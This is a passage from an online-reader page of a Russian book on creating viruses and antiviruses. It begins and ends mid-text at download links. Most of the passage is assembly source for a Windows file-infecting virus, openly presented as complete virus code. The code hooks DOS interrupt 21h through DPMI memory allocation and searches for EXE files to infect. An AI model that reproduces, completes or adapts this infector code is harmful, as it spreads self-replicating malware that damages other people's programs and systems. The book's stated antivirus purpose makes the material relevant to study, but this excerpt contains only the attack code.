Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 17

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ вирусного кода, само тело вируса дописывается в конец файла.

      Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).

      В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.

      .286

      .MODEL TINY

      .CODE

      ;Сохраним регистры и флаги

      pushf

      pusha

      push ds

      push es

      ;Проверим, доступен ли DPMI. Если доступен,

      ;продолжаем, если нет – выходим

      mov ax,1686h

      int 2Fh

      or ax,ax

      jz dpmi_exist

      ;Восстановим регистры и флаги

      exit:

      pop es

      pop ds

      popa

      popf

      ;Запустим программу−носитель

      db 0EAh

      relocIP dw 0

      relocCS dw 0FFFFh

      dpmi_exist:

      ;Выделим линейный блок памяти, используя DPMI

      mov ax,0501h

      mov cx,0FFFFh

      xor bx,bx

      int 31h

      ;Сохраним индекс и 32−битный линейный адрес

      ;полученного блока памяти в стеке

      push si

      push di

      push bx

      push cx

      ;Создадим дескриптор в таблице LDT

      xor ax,ax

      mov cx,1

      int 31h

      ;В поле адреса полученного дескриптора

      ;установим адрес нужного блока памяти

      mov bx,ax

      mov ax,7

      pop dx

      pop cx

      int 31h

      ;В поле предела полученного дескриптора

      ;установим размер выделенного блока памяти

      mov ax,8

      mov dx,0FFFFh

      xor cx,cx

      int 31h

      ;В поле прав доступа полученного дескриптора установим значение,

      ;соответствующее сегменту данных, доступному для чтения и записи

      mov ax,9

      mov cl,11110010b

      xor ch,ch

      int 31h

      ;Загрузим селектор в регистр DS. После этого регистр DS будет

      ;указывать на выделенный блок памяти

      mov ds,bx

      ;Читаем из стека и сохраняем в памяти

      ;индекс полученного блока памяти

      pop [mem_hnd+2]

      pop [mem_hnd]

      ;Получим текущую DTA

      mov ah,2Fh

      int 21h

      mov [DTA],bx

      mov [DTA+2],es

      ;Найдем первый EXE−файл (маска *.EXE)

      mov ah,4Eh

      xor cx,cx

      mov dx,OFFSET wild_exe

      push ds

      push cs

      pop ds

      int 21h

      pop СКАЧАТЬ